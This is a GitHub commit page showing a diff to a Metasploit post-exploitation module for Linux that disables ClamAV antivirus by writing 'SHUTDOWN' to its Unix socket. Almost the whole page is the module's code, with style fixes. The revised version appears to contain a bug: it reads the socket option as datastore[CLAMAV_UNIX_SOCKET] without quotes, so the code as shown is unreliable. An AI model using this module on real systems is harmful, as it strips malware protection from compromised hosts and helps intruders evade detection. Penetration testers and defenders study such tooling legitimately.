Skip to content

Commit

Permalink
finisehd msftidy/rubocop fixs
Browse files Browse the repository at this point in the history
  • Loading branch information
archcloudlabs committed Feb 20, 2023
1 parent f61c3bc commit bf5919f
Showing 1 changed file with 20 additions and 30 deletions.
50 changes: 20 additions & 30 deletions modules/post/linux/manage/disable_clamav.rb
Original file line number Diff line number Diff line change
Expand Up @@ -2,55 +2,45 @@
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require "socket"
require 'socket'
class MetasploitModule < Msf::Post
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Unix

def initialize(info = {})
def initialize(_info = {})
super(
update_info(
info,
'Name' => 'Disable ClamAV',
'Description' => %q{
'Name' => 'Disable ClamAV',
'Description' => %q{
This module will write to the ClamAV Unix socket to shutoff ClamAV.
},
'License' => MSF_LICENSE,
'Author' => [
'DLL_Cool_J'
],
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'meterpreter', 'shell' ],
'Compat' => {
'Meterpreter' => {
'Commands' => %w[
stdapi_fs_separator
]
}
}
'License' => MSF_LICENSE,
'Author' => [
'DLL_Cool_J'
],
'Platform' => [ 'linux' ],
'SessionTypes' => [ 'meterpreter', 'shell' ]
)
)
register_options(
[
OptString.new("CLAMAV_UNIX_SOCKET", [true, "ClamAV unix socket", "/run/clamav/clamd.ctl" ]),
], self.class
OptString.new('CLAMAV_UNIX_SOCKET', [true, 'ClamAV unix socket', '/run/clamav/clamd.ctl' ])
]
)
end

def run
clamav_socket = datastore['CLAMAV_UNIX_SOCKET']
print_status("Checking file path #{clamav_socket} exists and is writable... ")
if writable?("#{clamav_socket}")
print_good("File does exist and is writable!")
if writable?(datastore[CLAMAV_UNIX_SOCKET].to_s)
print_good('File does exist and is writable!')

Socket.unix("/run/clamav/clamd.ctl") do |sock|
print_status("Shutting down ClamAV!")
sock.write("SHUTDOWN")
end
return true
Socket.unix(datastore[CLAMAV_UNIX_SOCKET].to_s) do |sock|
print_status('Shutting down ClamAV!')
sock.write('SHUTDOWN')
end
return true
end
end
end

end

0 comments on commit bf5919f

Please sign in to comment.